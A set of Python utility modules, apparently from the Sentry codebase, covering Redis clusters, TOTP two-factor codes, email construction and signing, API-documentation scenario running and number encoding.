
_make_rb_cluster = functools.partial(rb.Cluster, pool_cls=_shared_pool)


def make_rb_cluster(*args, **kwargs):
    # This uses the standard library `warnings`, since this is provided for
    # plugin compatibility but isn't actionable by the system administrator.
    import warnings
    warnings.warn(
        'Direct Redis cluster construction is deprecated, please use named clusters. '
        'Direct cluster construction will be removed in Sentry 8.5.',
        DeprecationWarning,
    )
    return _make_rb_cluster(*args, **kwargs)


class ClusterManager(object):
    def __init__(self, options_manager):
        self.__clusters = {}
        self.__options_manager = options_manager

    def get(self, key):
        cluster = self.__clusters.get(key)

        if cluster is None:
            # TODO: This would probably be safer with a lock, but I'm not sure
            # that it's necessary.
            configuration = self.__options_manager.get('redis.clusters').get(key)
            if configuration is None:
                raise KeyError('Invalid cluster name: {}'.format(key))

            cluster = self.__clusters[key] = _make_rb_cluster(**configuration)

        return cluster


clusters = ClusterManager(options.default_manager)


def get_cluster_from_options(setting, options, cluster_manager=clusters):
    cluster_option_name = 'cluster'
    default_cluster_name = 'default'
    cluster_constructor_option_names = frozenset(('hosts',))

    options = options.copy()
    cluster_options = {key: options.pop(key) for key in set(options.keys()).intersection(cluster_constructor_option_names)}
    if cluster_options:
        if cluster_option_name in options:
            raise InvalidConfiguration(
                'Cannot provide both named cluster ({!r}) and cluster configuration ({}) options.'.format(
                    cluster_option_name,
                    ', '.join(map(repr, cluster_constructor_option_names)),
                )
            )
        else:
            warnings.warn(
                DeprecatedSettingWarning(
                    '{} parameter of {}'.format(
                        ', '.join(map(repr, cluster_constructor_option_names)),
                        setting,
                    ),
                    '{}["{}"]'.format(
                        setting,
                        cluster_option_name,
                    ),
                    removed_in_version='8.5',
                ),
                stacklevel=2
            )
        cluster = rb.Cluster(pool_cls=_shared_pool, **cluster_options)
    else:
        cluster = cluster_manager.get(options.pop(cluster_option_name, default_cluster_name))

    return cluster, options


def check_cluster_versions(cluster, required, recommended=None, label=None):
    try:
        with cluster.all() as client:
            results = client.info()
    except Exception as e:
        # Any connection issues should be caught here.
        raise InvalidConfiguration(six.text_type(e))

    versions = {}
    for id, info in results.value.items():
        host = cluster.hosts[id]
        # NOTE: This assumes there is no routing magic going on here, and
        # all requests to this host are being served by the same database.
        key = '{host}:{port}'.format(host=host.host, port=host.port)
        versions[key] = Version(map(int, info['redis_version'].split('.', 3)))

    check_versions(
        'Redis' if label is None else 'Redis (%s)' % (label,),
        versions,
        required,
        recommended,
    )


def load_script(path):
    script = Script(None, resource_string('sentry', posixpath.join('scripts', path)))

    # This changes the argument order of the ``Script.__call__`` method to
    # encourage using the script with a specific Redis client, rather
    # than implicitly using the first client that the script was registered
    # with. (This can prevent lots of bizzare behavior when dealing with
    # clusters of Redis servers.)
    def call_script(client, keys, args):
        """
        Executes {!r} as a Lua script on a Redis server.

        Takes the client to execute the script on as the first argument,
        followed by the values that will be provided as ``KEYS`` and ``ARGV``
        to the script as two sequence arguments.
        """.format(path)
        return script(keys, args, client)

    return call_script






from __future__ import absolute_import


# Vendored from newer Django:
# https://github.com/django/django/blob/1.9.6/django/utils/decorators.py#L188-L197
class classproperty(object):
    def __init__(self, method=None):
        self.fget = method

    def __get__(self, instance, owner):
        return self.fget(owner)

    def getter(self, method):
        self.fget = method
        return self






from __future__ import absolute_import

from django.conf import settings


def get_asset_url(module, path):
    """
    Returns a versioned asset URL (located within Sentry's static files).

    Example:
      {% asset_url 'sentry' 'dist/sentry.css' %}
      =>  "/_static/74d127b78dc7daf2c51f/sentry/dist/sentry.css"
    """
    return '{}/{}/{}'.format(
        settings.STATIC_URL.rstrip('/'),
        module,
        path,
    )






from __future__ import absolute_import

import six
import time
import hmac
import base64
import qrcode
import hashlib

from datetime import datetime
from six.moves.urllib.parse import quote

from sentry.utils.dates import to_timestamp

from django.utils.crypto import constant_time_compare, get_random_string


def generate_secret_key(length=32):
    return get_random_string(length, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567')


def _pack_int(i):
    result = bytearray()
    while i != 0:
        result.append(i & 0xFF)
        i >>= 8
    return six.binary_type(bytearray(reversed(result)).rjust(8, b'\0'))


def _get_ts(ts):
    if ts is None:
        return int(time.time())
    if isinstance(ts, datetime):
        return int(to_timestamp(ts))
    return int(ts)


class TOTP(object):

    def __init__(self, secret=None, digits=6, interval=30,
                 default_window=2):
        if secret is None:
            secret = generate_secret_key()
        if len(secret) % 8 != 0:
            raise RuntimeError('Secret length needs to be a multiple of 8')
        self.secret = secret
        self.digits = digits
        self.interval = interval
        self.default_window = default_window

    def generate_otp(self, ts=None, offset=0, counter=None):
        if counter is None:
            ts = _get_ts(ts)
            counter = int(ts) // self.interval + offset
        h = bytearray(hmac.HMAC(
            base64.b32decode(self.secret.encode('ascii'), casefold=True),
            _pack_int(counter),
            hashlib.sha1,
        ).digest())
        offset = h[-1] & 0xf
        code = ((h[offset] & 0x7f) << 24 | (h[offset + 1] & 0xff) << 16 |
                (h[offset + 2] & 0xff) << 8 | (h[offset + 3] & 0xff))
        str_code = six.text_type(code % 10 ** self.digits)
        return ('0' * (self.digits - len(str_code))) + str_code

    def verify(self, otp, ts=None, window=None, return_counter=False,
               check_counter_func=None):
        ts = _get_ts(ts)
        if window is None:
            window = self.default_window
        for i in range(-window, window + 1):
            counter = int(ts) // self.interval + i
            if constant_time_compare(otp, self.generate_otp(counter=counter)):
                # Check for blacklisted counters after the constant time
                # compare
                if check_counter_func is not None \
                   and not check_counter_func(counter):
                    continue
                if return_counter:
                    return counter
                return True
        if return_counter:
            return None
        return False

    def get_provision_url(self, user, issuer=None):
        if issuer is None:
            issuer = 'Sentry'
        rv = 'otpauth://totp/%s?issuer=%s&secret=%s' % (
            quote(user.encode('utf-8')),
            quote(issuer.encode('utf-8')),
            self.secret
        )
        if self.digits != 6:
            rv += '&digits=%d' % self.digits
        if self.interval != 30:
            rv += '&period=%d' % self.interval
        return rv

    def get_provision_qrcode(self, user, issuer=None):
        qr = qrcode.QRCode(border=0)
        qr.add_data(self.get_provision_url(user, issuer=issuer))
        return qr.get_matrix()






"""
sentry.utils.email
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import logging
import os
import six
import subprocess
import tempfile
import time

from email.utils import parseaddr
from functools import partial
from operator import attrgetter
from random import randrange

from django.conf import settings
from django.core.mail import get_connection as _get_connection
from django.core.mail import send_mail as _send_mail
from django.core.mail import EmailMultiAlternatives
from django.core.mail.backends.base import BaseEmailBackend
from django.core.signing import BadSignature, Signer
from django.utils.crypto import constant_time_compare
from django.utils.encoding import force_bytes, force_str, force_text
from toronado import from_string as inline_css

from sentry import options
from sentry.logging import LoggingFormat
from sentry.models import (
    Activity, Event, Group, GroupEmailThread, Project, User, UserOption
)
from sentry.utils import metrics
from sentry.utils.safe import safe_execute
from sentry.utils.strings import is_valid_dot_atom
from sentry.web.helpers import render_to_string

# The maximum amount of recipients to display in human format.
MAX_RECIPIENTS = 5

logger = logging.getLogger('sentry.mail')


class _CaseInsensitiveSigner(Signer):
    """
    Generate a signature that is comprised of only lowercase letters.

    WARNING: Do not use this for anything that needs to be cryptographically
    secure! This is losing entropy and has a much higher chance of collision
    due to dropping to lowercase letters. For our purposes, this lack of entropy
    is ok and doesn't pose a risk.

    NOTE: This is needed strictly for signatures used in email addresses. Some
    clients, coughAirmailcough, treat email addresses as being case-insensitive,
    and sends the value as all lowercase.
    """
    def signature(self, value):
        sig = super(_CaseInsensitiveSigner, self).signature(value)
        return sig.lower()

    def unsign(self, signed_value):
        # This unsign is identical to subclass except for the lowercasing
        # See: https://github.com/django/django/blob/1.6.11/django/core/signing.py#L165-L172
        signed_value = force_str(signed_value)
        if self.sep not in signed_value:
            raise BadSignature('No "%s" found in value' % self.sep)
        value, sig = signed_value.rsplit(self.sep, 1)
        if constant_time_compare(sig.lower(), self.signature(value)):
            return force_text(value)
        raise BadSignature('Signature "%s" does not match' % sig)


signer = _CaseInsensitiveSigner()


def email_to_group_id(address):
    """
    Email address should be in the form of:
        {group_id}+{signature}@example.com
    """
    address = address.split('@', 1)[0]
    signed_data = address.replace('+', ':')
    return int(force_bytes(signer.unsign(signed_data)))


def group_id_to_email(group_id):
    signed_data = signer.sign(six.text_type(group_id))
    return '@'.join((
        signed_data.replace(':', '+'),
        options.get('mail.reply-hostname') or get_from_email_domain(),
    ))


def domain_from_email(email):
    email = parseaddr(email)[1]
    try:
        return email.split('@', 1)[1]
    except IndexError:
        # The email address is likely malformed or something
        return email


# Slightly modified version of Django's
# `django.core.mail.message:make_msgid` becuase we need
# to override the domain. If we ever upgrade to
# django 1.8, we can/should replace this.
def make_msgid(domain):
    """Returns a string suitable for RFC 2822 compliant Message-ID, e.g:
    <20020201195627.33539.96671@nightshade.la.mastaler.com>
    Optional idstring if given is a string used to strengthen the
    uniqueness of the message id.  Optional domain if given provides the
    portion of the message id after the '@'.  It defaults to the locally
    defined hostname.
    """
    timeval = time.time()
    utcdate = time.strftime('%Y%m%d%H%M%S', time.gmtime(timeval))
    pid = os.getpid()
    randint = randrange(100000)
    msgid = '<%s.%s.%s@%s>' % (utcdate, pid, randint, domain)
    return msgid


# cache the domain_from_email calculation
# This is just a tuple of (email, email-domain)
_from_email_domain_cache = (None, None)


def get_from_email_domain():
    global _from_email_domain_cache
    from_ = options.get('mail.from')
    if not _from_email_domain_cache[0] == from_:
        _from_email_domain_cache = (from_, domain_from_email(from_))
    return _from_email_domain_cache[1]


def get_email_addresses(user_ids, project=None):
    pending = set(user_ids)
    results = {}

    if project:
        queryset = UserOption.objects.filter(
            project=project,
            user__in=pending,
            key='mail:email',
        )
        for option in (o for o in queryset if o.value):
            results[option.user_id] = option.value
            pending.discard(option.user_id)

    if pending:
        queryset = UserOption.objects.filter(
            user__in=pending,
            key='alert_email',
        )
        for option in (o for o in queryset if o.value):
            results[option.user_id] = option.value
            pending.discard(option.user_id)

    if pending:
        queryset = User.objects.filter(pk__in=pending, is_active=True)
        for (user_id, email) in queryset.values_list('id', 'email'):
            if email:
                results[user_id] = email
                pending.discard(user_id)

    if pending:
        logger.warning('Could not resolve email addresses for user IDs in %r, discarding...', pending)

    return results


class ListResolver(object):
    """
    Manages the generation of RFC 2919 compliant list-id strings from varying
    objects types.
    """

    class UnregisteredTypeError(Exception):
        """
        Error raised when attempting to build a list-id from an unregisted object type.
        """

    def __init__(self, namespace, type_handlers):
        assert is_valid_dot_atom(namespace)

        # The list-id-namespace that will be used when generating the list-id
        # string. This should be a domain name under the control of the
        # generator (see RFC 2919.)
        self.__namespace = namespace

        # A mapping of classes to functions that accept an instance of that
        # class, returning a tuple of values that will be used to generate the
        # list label. Returned values must be valid RFC 2822 dot-atom-text
        # values.
        self.__type_handlers = type_handlers

    def __call__(self, instance):
        """
        Build a list-id string from an instance.

        Raises ``UnregisteredTypeError`` if there is no registered handler for
        the instance type. Raises ``AssertionError`` if a valid list-id string
        cannot be generated from the values returned by the type handler.
        """
        try:
            handler = self.__type_handlers[type(instance)]
        except KeyError:
            raise self.UnregisteredTypeError(
                'Cannot generate mailing list identifier for {!r}'.format(instance)
            )

        label = '.'.join(map(str, handler(instance)))
        assert is_valid_dot_atom(label)

        return '{}.{}'.format(label, self.__namespace)


default_list_type_handlers = {
    Activity: attrgetter('project.slug', 'project.organization.slug'),
    Project: attrgetter('slug', 'organization.slug'),
    Group: attrgetter('project.slug', 'organization.slug'),
    Event: attrgetter('project.slug', 'organization.slug'),
}


make_listid_from_instance = ListResolver(
    options.get('mail.list-namespace'),
    default_list_type_handlers,
)


class MessageBuilder(object):
    def __init__(self, subject, context=None, template=None, html_template=None,
                 body=None, html_body=None, headers=None, reference=None,
                 reply_reference=None, from_email=None, type=None):
        assert not (body and template)
        assert not (html_body and html_template)
        assert context or not (template or html_template)

        if headers is None:
            headers = {}

        self.subject = subject
        self.context = context or {}
        self.template = template
        self.html_template = html_template
        self._txt_body = body
        self._html_body = html_body
        self.headers = headers
        self.reference = reference  # The object that generated this message
        self.reply_reference = reply_reference  # The object this message is replying about
        self.from_email = from_email or options.get('mail.from')
        self._send_to = set()
        self.type = type if type else 'generic'

        if reference is not None and 'List-Id' not in headers:
            try:
                headers['List-Id'] = make_listid_from_instance(reference)
            except ListResolver.UnregisteredTypeError as error:
                logger.debug(six.text_type(error))
            except AssertionError as error:
                logger.warning(six.text_type(error))

    def __render_html_body(self):
        html_body = None
        if self.html_template:
            html_body = render_to_string(self.html_template, self.context)
        else:
            html_body = self._html_body

        if html_body is not None:
            return inline_css(html_body)

    def __render_text_body(self):
        if self.template:
            return render_to_string(self.template, self.context)
        return self._txt_body

    def add_users(self, user_ids, project=None):
        self._send_to.update(
            get_email_addresses(user_ids, project).values()
        )

    def build(self, to, reply_to=None, cc=None, bcc=None):
        if self.headers is None:
            headers = {}
        else:
            headers = self.headers.copy()

        if options.get('mail.enable-replies') and 'X-Sentry-Reply-To' in headers:
            reply_to = headers['X-Sentry-Reply-To']
        else:
            reply_to = set(reply_to or ())
            reply_to.remove(to)
            reply_to = ', '.join(reply_to)

        if reply_to:
            headers.setdefault('Reply-To', reply_to)

        # Every message sent needs a unique message id
        message_id = make_msgid(get_from_email_domain())
        headers.setdefault('Message-Id', message_id)

        subject = self.subject

        if self.reply_reference is not None:
            reference = self.reply_reference
            subject = 'Re: %s' % subject
        else:
            reference = self.reference

        if isinstance(reference, Group):
            thread, created = GroupEmailThread.objects.get_or_create(
                email=to,
                group=reference,
                defaults={
                    'project': reference.project,
                    'msgid': message_id,
                },
            )
            if not created:
                headers.setdefault('In-Reply-To', thread.msgid)
                headers.setdefault('References', thread.msgid)

        msg = EmailMultiAlternatives(
            subject=subject,
            body=self.__render_text_body(),
            from_email=self.from_email,
            to=(to,),
            cc=cc or (),
            bcc=bcc or (),
            headers=headers,
        )

        html_body = self.__render_html_body()
        if html_body:
            msg.attach_alternative(html_body.decode('utf-8'), 'text/html')

        return msg

    def get_built_messages(self, to=None, bcc=None):
        send_to = set(to or ())
        send_to.update(self._send_to)
        results = [self.build(to=email, reply_to=send_to, bcc=bcc) for email in send_to if email]
        if not results:
            logger.debug('Did not build any messages, no users to send to.')
        return results

    def format_to(self, to):
        if not to:
            return ''
        if len(to) > MAX_RECIPIENTS:
            to = to[:MAX_RECIPIENTS] + ['and {} more.'.format(len(to[MAX_RECIPIENTS:]))]
        return ', '.join(to)

    def send(self, to=None, bcc=None, fail_silently=False):
        return send_messages(
            self.get_built_messages(to, bcc=bcc),
            fail_silently=fail_silently,
        )

    def send_async(self, to=None, bcc=None):
        from sentry.tasks.email import send_email
        fmt = options.get('system.logging-format')
        messages = self.get_built_messages(to, bcc=bcc)
        extra = {
            'message_type': self.type
        }
        log_mail_queued = partial(logger.info, 'mail.queued', extra=extra)
        for message in messages:
            safe_execute(
                send_email.delay,
                message=message,
                _with_transaction=False,
            )
            extra['message_id'] = message.extra_headers['Message-Id']
            if fmt == LoggingFormat.HUMAN:
                extra['message_to'] = self.format_to(message.to),
                log_mail_queued()
            elif fmt == LoggingFormat.MACHINE:
                for recipient in message.to:
                    extra['message_to'] = recipient
                    log_mail_queued()


def send_messages(messages, fail_silently=False):
    connection = get_connection(fail_silently=fail_silently)
    sent = connection.send_messages(messages)
    metrics.incr('email.sent', len(messages))
    for message in messages:
        extra = {'message_id': message.extra_headers['Message-Id']}
        logger.info('mail.sent', extra=extra)
    return sent


def get_mail_backend():
    backend = options.get('mail.backend')
    try:
        return settings.SENTRY_EMAIL_BACKEND_ALIASES[backend]
    except KeyError:
        return backend


def get_connection(fail_silently=False):
    """
    Gets an SMTP connection using our OptionsStore
    """
    return _get_connection(
        backend=get_mail_backend(),
        host=options.get('mail.host'),
        port=options.get('mail.port'),
        username=options.get('mail.username'),
        password=options.get('mail.password'),
        use_tls=options.get('mail.use-tls'),
        fail_silently=fail_silently,
    )


def send_mail(subject, message, from_email, recipient_list, fail_silently=False):
    """
    Wrapper that forces sending mail through our connection.
    """
    return _send_mail(
        subject, message, from_email, recipient_list,
        connection=get_connection(fail_silently=fail_silently),
    )


def is_smtp_enabled(backend=None):
    """
    Check if the current backend is SMTP based.
    """
    if backend is None:
        backend = get_mail_backend()
    return backend not in settings.SENTRY_SMTP_DISABLED_BACKENDS


class PreviewBackend(BaseEmailBackend):
    """
    Email backend that can be used in local development to open messages in the
    local mail client as they are sent.

    Probably only works on OS X.
    """
    def send_messages(self, email_messages):
        for message in email_messages:
            content = six.text_type(message.message())
            preview = tempfile.NamedTemporaryFile(
                delete=False,
                prefix='sentry-email-preview-',
                suffix='.eml',
            )
            try:
                preview.write(content)
                preview.flush()
            finally:
                preview.close()

            subprocess.check_call(('open', preview.name))

        return len(email_messages)






from __future__ import absolute_import

import os
import re
import json
import base64
import inspect
import requests
import mimetypes

from contextlib import contextmanager
from datetime import datetime, timedelta
from django.conf import settings
from pytz import utc
from random import randint
from six import StringIO

# Do not import from sentry here!  Bad things will happen


optional_group_matcher = re.compile(r'\(\?\:([^\)]+)\)')
named_group_matcher = re.compile(r'\(\?P<(\w+)>[^\)]+\)')
non_named_group_matcher = re.compile(r'\([^\)]+\)')
# [foo|bar|baz]
either_option_matcher = re.compile(r'\[([^\]]+)\|([^\]]+)\]')
camel_re = re.compile(r'([A-Z]+)([a-z])')


API_PREFIX = '/api/0/'


scenarios = {}


def simplify_regex(pattern):
    """Clean up urlpattern regexes into something somewhat readable by
    Mere Humans: turns something like
    "^(?P<sport_slug>\w+)/athletes/(?P<athlete_slug>\w+)/$" into
    "{sport_slug}/athletes/{athlete_slug}/"
    """
    pattern = optional_group_matcher.sub(lambda m: '[%s]' % m.group(1), pattern)

    # handle named groups first
    pattern = named_group_matcher.sub(lambda m: '{%s}' % m.group(1), pattern)

    # handle non-named groups
    pattern = non_named_group_matcher.sub("{var}", pattern)

    # handle optional params
    pattern = either_option_matcher.sub(lambda m: m.group(1), pattern)

    # clean up any outstanding regex-y characters.
    pattern = pattern.replace('^', '').replace('$', '') \
        .replace('?', '').replace('//', '/').replace('\\', '')
    if not pattern.startswith('/'):
        pattern = '/' + pattern
    return pattern


def get_internal_endpoint_from_pattern(pattern):
    from sentry.api.base import Endpoint
    if not hasattr(pattern, 'callback'):
        return
    if hasattr(pattern.callback, 'cls'):
        cls = pattern.callback.cls
        if issubclass(cls, Endpoint):
            return cls
    elif hasattr(pattern.callback, 'cls_instance'):
        inst = pattern.callback.cls_instance
        if isinstance(inst, Endpoint):
            return inst.__class__


def extract_documentation(func):
    doc = inspect.getdoc(func)
    if doc is not None:
        return doc.decode('utf-8')


def get_endpoint_path(internal_endpoint):
    return '%s.%s' % (
        internal_endpoint.__module__,
        internal_endpoint.__name__,
    )


def extract_title_and_text(doc):
    title = None
    iterable = iter((doc or u'').splitlines())
    clean_end = False

    for line in iterable:
        line = line.strip()
        if title is None:
            if not line:
                continue
            title = line
        elif line[0] * len(line) == line:
            clean_end = True
            break
        else:
            break

    lines = []
    if clean_end:
        for line in iterable:
            if line.strip():
                lines.append(line)
                break
    lines.extend(iterable)

    return title, lines


def camelcase_to_dashes(string):
    def handler(match):
        camel, regular = match.groups()
        if len(camel) != 1:
            camel = camel[:-1].lower() + '-' + camel[-1].lower()
        else:
            camel = camel.lower()
        return '-' + camel + regular.lower()
    return camel_re.sub(handler, string).lstrip('-')


def extract_endpoint_info(pattern, internal_endpoint):
    path = simplify_regex(pattern.regex.pattern)
    from sentry.constants import HTTP_METHODS
    for method_name in HTTP_METHODS:
        if method_name in ('HEAD', 'OPTIONS'):
            continue
        method = getattr(internal_endpoint, method_name.lower(), None)
        if method is None:
            continue
        doc = extract_documentation(method)
        if doc is None:
            continue
        section = getattr(internal_endpoint, 'doc_section', None)
        if section is None:
            continue
        endpoint_name = method.__name__.title() + internal_endpoint.__name__
        if endpoint_name.endswith('Endpoint'):
            endpoint_name = endpoint_name[:-8]
        endpoint_name = camelcase_to_dashes(endpoint_name)
        title, text = extract_title_and_text(doc)
        yield dict(
            path=API_PREFIX + path.lstrip('/'),
            method=method_name,
            title=title,
            text=text,
            scenarios=getattr(method, 'api_scenarios', None) or [],
            section=section.name.lower(),
            internal_path='%s:%s' % (
                get_endpoint_path(internal_endpoint),
                method.__name__
            ),
            endpoint_name=endpoint_name,
        )


def iter_endpoints():
    from sentry.api.urls import urlpatterns
    for pattern in urlpatterns:
        internal_endpoint = get_internal_endpoint_from_pattern(pattern)
        if internal_endpoint is None:
            continue
        for endpoint in extract_endpoint_info(pattern, internal_endpoint):
            yield endpoint


def scenario(ident):
    def decorator(f):
        if ident in scenarios:
            raise RuntimeError('Scenario duplicate: %s' % ident)
        scenarios[ident] = f
        f.api_scenario_ident = ident
        return f
    return decorator


def attach_scenarios(scenarios):
    def decorator(f):
        f.api_scenarios = [x.api_scenario_ident for x in scenarios]
        return f
    return decorator


def iter_scenarios():
    # Make sure everything is imported.
    for endpoint in iter_endpoints():
        pass
    return iter(sorted(scenarios.items()))


def get_sections():
    from sentry.api.base import DocSection
    return dict((x.name.lower(), x.value) for x in DocSection)


def create_sample_time_series(event):
    from sentry.app import tsdb
    group = event.group

    now = datetime.utcnow().replace(tzinfo=utc)

    for _ in range(60):
        count = randint(1, 10)
        tsdb.incr_multi((
            (tsdb.models.project, group.project.id),
            (tsdb.models.group, group.id),
        ), now, count)
        tsdb.incr_multi((
            (tsdb.models.organization_total_received,
             group.project.organization_id),
            (tsdb.models.project_total_received, group.project.id),
        ), now, int(count * 1.1))
        tsdb.incr_multi((
            (tsdb.models.organization_total_rejected,
             group.project.organization_id),
            (tsdb.models.project_total_rejected, group.project.id),
        ), now, int(count * 0.1))
        now = now - timedelta(seconds=1)

    for _ in range(24 * 30):
        count = randint(100, 1000)
        tsdb.incr_multi((
            (tsdb.models.project, group.project.id),
            (tsdb.models.group, group.id),
        ), now, count)
        tsdb.incr_multi((
            (tsdb.models.organization_total_received,
             group.project.organization_id),
            (tsdb.models.project_total_received, group.project.id),
        ), now, int(count * 1.1))
        tsdb.incr_multi((
            (tsdb.models.organization_total_rejected,
             group.project.organization_id),
            (tsdb.models.project_total_rejected, group.project.id),
        ), now, int(count * 0.1))
        now = now - timedelta(hours=1)


class MockUtils(object):

    def create_user(self, mail):
        from sentry.models import User
        user, _ = User.objects.get_or_create(
            username=mail,
            defaults={
                'email': mail,
            }
        )
        user.set_password('dummy')
        user.save()
        return user

    def create_org(self, name, owner):
        from sentry.models import Organization, OrganizationMember
        org, _ = Organization.objects.get_or_create(
            name=name,
        )

        dummy_member, _ = OrganizationMember.objects.get_or_create(
            user=owner,
            organization=org,
            defaults={
                'role': 'member',
            }
        )

        return org

    def create_api_key(self, org, label='Default'):
        from sentry.models import ApiKey
        return ApiKey.objects.get_or_create(
            organization=org,
            label=label,
            scopes=(1 << len(ApiKey.scopes.keys())) - 1,
        )[0]

    def create_client_key(self, project, label='Default'):
        from sentry.models import ProjectKey
        return ProjectKey.objects.get_or_create(
            project=project,
            label=label
        )[0]

    def create_team(self, name, org):
        from sentry.models import Team
        return Team.objects.get_or_create(
            name=name,
            defaults={
                'organization': org,
            },
        )[0]

    def create_project(self, name, team, org):
        from sentry.models import Project
        return Project.objects.get_or_create(
            team=team,
            name=name,
            defaults={
                'organization': org,
            }
        )[0]

    def create_release(self, project, user, version=None):
        from sentry.models import Release, Activity
        if version is None:
            version = os.urandom(20).encode('hex')
        release = Release.objects.get_or_create(
            version=version,
            project=project,
        )[0]
        Activity.objects.create(
            type=Activity.RELEASE,
            project=project,
            ident=version,
            user=user,
            data={'version': version},
        )
        return release

    def create_release_file(self, project, release, path,
                            content_type=None, contents=None):
        from sentry.models import File, ReleaseFile
        if content_type is None:
            content_type = mimetypes.guess_type(path)[0] or 'text/plain'
            if content_type.startswith('text/'):
                content_type += '; encoding=utf-8'
        f = File.objects.create(
            name=path.rsplit('/', 1)[-1],
            type='release.file',
            headers={
                'Content-Type': content_type
            },
        )
        f.putfile(StringIO(contents or ''))
        return ReleaseFile.objects.create(
            project=project,
            release=release,
            file=f,
            name=path
        )

    def create_event(self, project, release, platform='python', raw=True):
        from sentry.utils.samples import create_sample_event
        event = create_sample_event(
            project=project,
            platform=platform,
            release=release.version,
            raw=raw
        )
        create_sample_time_series(event)
        return event


class Runner(object):
    """The runner is a special object that holds state for the automatic
    running of example scenarios.  It gets created by api-docs/generator.py
    which does the majority of the heavy lifting.  It mainly exists here
    so that the scenarios can be run separately if needed.
    """

    def __init__(self, ident, func, api_key, org, me, teams=None):
        self.ident = ident
        self.func = func
        self.requests = []

        self.utils = MockUtils()

        self.api_key = api_key
        self.org = org
        self.me = me
        self.teams = teams

    @property
    def default_team(self):
        return self.teams[0]['team']

    @property
    def default_project(self):
        return self.teams[0]['projects'][0]['project']

    @property
    def default_release(self):
        return self.teams[0]['projects'][0]['release']

    @property
    def default_event(self):
        return self.teams[0]['projects'][0]['events'][0]

    @contextmanager
    def isolated_project(self, project_name):
        from sentry.models import Group, Event

        project = self.utils.create_project(project_name,
                                            team=self.default_team,
                                            org=self.org)
        release = self.utils.create_release(project=project, user=self.me)
        self.utils.create_event(project=project, release=release,
                                platform='python')
        self.utils.create_event(project=project, release=release,
                                platform='java')
        try:
            yield project
        finally:
            # Enforce safe cascades into Group/Event
            Group.objects.filter(
                project=project,
            ).delete()
            Event.objects.filter(
                project_id=project.id,
            ).delete()
            project.delete()

    @contextmanager
    def isolated_org(self, org_name):
        from sentry.models import Group, Event

        org = self.utils.create_org(org_name, owner=self.me)
        try:
            yield org
        finally:
            # Enforce safe cascades into Group/Event
            Group.objects.filter(
                project__organization=org,
            ).delete()
            Event.objects.filter(
                project_id__in=org.project_set.values('id'),
            ).delete()
            org.delete()

    def request(self, method, path, headers=None, data=None, api_key=None,
                format='json'):
        if api_key is None:
            api_key = self.api_key
        path = '/api/0/' + path.lstrip('/')
        headers = dict(headers or {})

        request_is_json = True
        body = None
        files = None
        was_multipart = False
        if data is not None:
            if format == 'json':
                body = json.dumps(data, sort_keys=True)
                headers['Content-Type'] = 'application/json'
            elif format == 'multipart':
                files = {}
                for key, value in data.items():
                    if hasattr(value, 'read') or isinstance(value, tuple):
                        files[key] = value
                        del data[key]
                        was_multipart = True
                body = data

        req_headers = dict(headers)
        req_headers['Host'] = 'app.getsentry.com'
        req_headers['Authorization'] = 'Basic %s' % base64.b64encode('%s:' % (
            api_key.key.encode('utf-8')))

        url = 'http://127.0.0.1:%s%s' % (
            settings.SENTRY_APIDOCS_WEB_PORT,
            path,
        )

        response = requests.request(method=method, url=url, files=files,
                                    headers=req_headers, data=body)
        response_headers = dict(response.headers)

        # Don't want those
        response_headers.pop('server', None)
        response_headers.pop('date', None)

        if response.headers.get('Content-Type') == 'application/json':
            response_data = response.json()
            is_json = True
        else:
            response_data = response.text
            is_json = False

        if was_multipart:
            headers['Content-Type'] = response.request.headers['content-type']
            data = response.request.body
            request_is_json = False

        rv = {
            'request': {
                'method': method,
                'path': path,
                'headers': headers,
                'data': data,
                'is_json': request_is_json,
            },
            'response': {
                'headers': response_headers,
                'status': response.status_code,
                'reason': response.reason,
                'data': response_data,
                'is_json': is_json,
            }
        }

        self.requests.append(rv)
        return rv

    def to_json(self):
        doc = extract_documentation(self.func)
        title, text = extract_title_and_text(doc)
        return {
            'ident': self.ident,
            'requests': self.requests,
            'title': title,
            'text': text,
        }






"""
sentry.utils.files
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import zlib


def compress_file(fp, level=6):
    compressor = zlib.compressobj(level)
    z_chunks = []
    chunks = []
    for chunk in fp.chunks():
        chunks.append(chunk)
        z_chunks.append(compressor.compress(chunk))
    return (b''.join(z_chunks) + compressor.flush(), b''.join(chunks))






from __future__ import absolute_import

BASE36_ALPHABET = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
BASE32_ALPHABET = '0123456789ABCDEFGHJKMNPQRSTVWXYZ'


def _encode(number, alphabet):
    if number == 0:
        return alphabet[0]

    base = len(alphabet)
    rv = []
    inverse = False
    if number < 0:
        number = -number
        inverse = True

    while number != 0:
        number, i = divmod(number, base)
        rv.append(alphabet[i])

    if inverse:
        rv.append('-')
    rv.reverse()

    return ''.join(rv)


def _decode(number, alphabet):
    rv = 0
    inverse = False

    if number[:1] == '-':
        inverse = True
        number = number[:1]

    base = len(alphabet)
    for symbol in number:
        rv = rv * base + alphabet.index(symbol)

    if inverse:
        rv = rv * -1

    return rv


def base32_encode(number):
    return _encode(number, BASE32_ALPHABET)


def base32_decode(number):
    number = number.upper() \
        .replace('O', '0') \
        .replace('I', '1') \
        .replace('L', '1')
    return _decode(number, BASE32_ALPHABET)


def base36_encode(number):
    return _encode(number, BASE36_ALPHABET)


def base36_decode(str):
    return int(str, 36)






from __future__ import absolute_import, print_function

import copy
import inspect
import logging
import raven
import sentry

from django.conf import settings
from django.db.utils import DatabaseError
from raven.contrib.django.client import DjangoClient

from . import metrics

UNSAFE_FILES = (
    'sentry/event_manager.py',
    'sentry/tasks/process_buffer.py',
)


def is_current_event_safe():
    """
    Tests the current stack for unsafe locations that would likely cause
    recursion if an attempt to send to Sentry was made.
    """
    for _, filename, _, _, _, _ in inspect.stack():
        if filename.endswith(UNSAFE_FILES):
            return False
    return True


class SentryInternalClient(DjangoClient):
    def is_enabled(self):
        if getattr(settings, 'DISABLE_RAVEN', False):
            return False
        return settings.SENTRY_PROJECT is not None

    def can_record_current_event(self):
        return self.remote.is_active() or is_current_event_safe()

    def capture(self, *args, **kwargs):
        if not self.can_record_current_event():
            metrics.incr('internal.uncaptured.events')
            self.error_logger.error('Not capturing event due to unsafe stacktrace:\n%r', kwargs)
            return
